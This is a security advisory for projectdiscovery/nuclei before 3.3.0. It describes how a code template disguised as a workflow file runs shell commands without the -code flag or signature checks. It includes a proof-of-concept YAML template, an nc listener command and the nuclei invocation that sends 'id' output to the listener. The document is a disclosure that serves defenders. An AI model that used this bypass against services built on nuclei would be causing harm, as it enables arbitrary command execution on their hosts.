GHSA-c3q9-c27p-cw9h projectdiscovery/nuclei allows unsigned code template execution through workflows

• Go github.com/projectdiscovery/nuclei/v3: < 3.3.0 → fixed in 3.3.0

Summary Find a way to execute code template without -code option and signature. Details write a `code.yaml`: ```yaml id: code info: name: example code template author: ovi3 code: • engine: • sh • bash source: | id http: • raw: • | POST /re HTTP/1.1 Host: {{Hostname}} {{code_response}} workflows: • matchers: • name: t ``` using nc to listen on 80: ```bash nc -lvvnp 80 ``` execute PoC template with nuclei: ```bash ./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug ``` and nc will get `id` command output. We use `-w` to specify a workflow file, not `-t` to template file. and notice there is a `workflows` field in code.yaml to pretend to be a workflow file. Test in Linux and Nuclei v3.2.9 Impact Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)